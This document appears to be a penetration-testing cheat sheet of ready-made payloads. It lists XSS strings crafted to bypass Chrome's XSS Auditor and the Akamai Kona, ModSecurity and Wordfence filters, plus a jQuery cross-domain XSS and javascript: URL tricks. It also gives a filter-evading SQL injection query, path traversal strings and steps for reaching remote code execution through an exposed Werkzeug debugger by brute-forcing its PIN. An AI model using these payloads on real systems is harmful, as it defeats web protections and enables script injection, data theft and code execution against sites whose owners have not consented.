XSS

Chrome XSS-Auditor Bypass by Masato Kinugawa

<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Kona WAF (Akamai) Bypass

\');confirm(1);//

ModSecurity WAF Bypass Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html

<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS Bypasses

<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

jQuery < 3.0.0 XSS by Egor Homakov

$.get('http://sakurity.com/jqueryxss')

In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:

  1. Find any cross domain requests to untrusted domains which may inadvertently execute script.
  2. Find any requests to trusted API endpoints where script can be injected into data sources.

URL verification bypasses (works without &#x09; too)

javas&#x09;cript://www.google.com/%0Aalert(1)

Markdown XSS

[a](javascript://www.google.com%0Aprompt(1))

SQLI

Akamai Kona Bypass

  • MID instead of SUBSTRING
  • LIKE instead of =
  • /**/ instead of a space
  • CURRENT_USER instead of CURRENT_USER()
  • " instead of '

Final example:

444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#

"../\", " ..\/", "/.." & "\/.."

RCE

Werkzeug Debugger

Find somewhere where user input can be supplied and submit the following string to cause an error:

strіng

If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: ***-***-***.
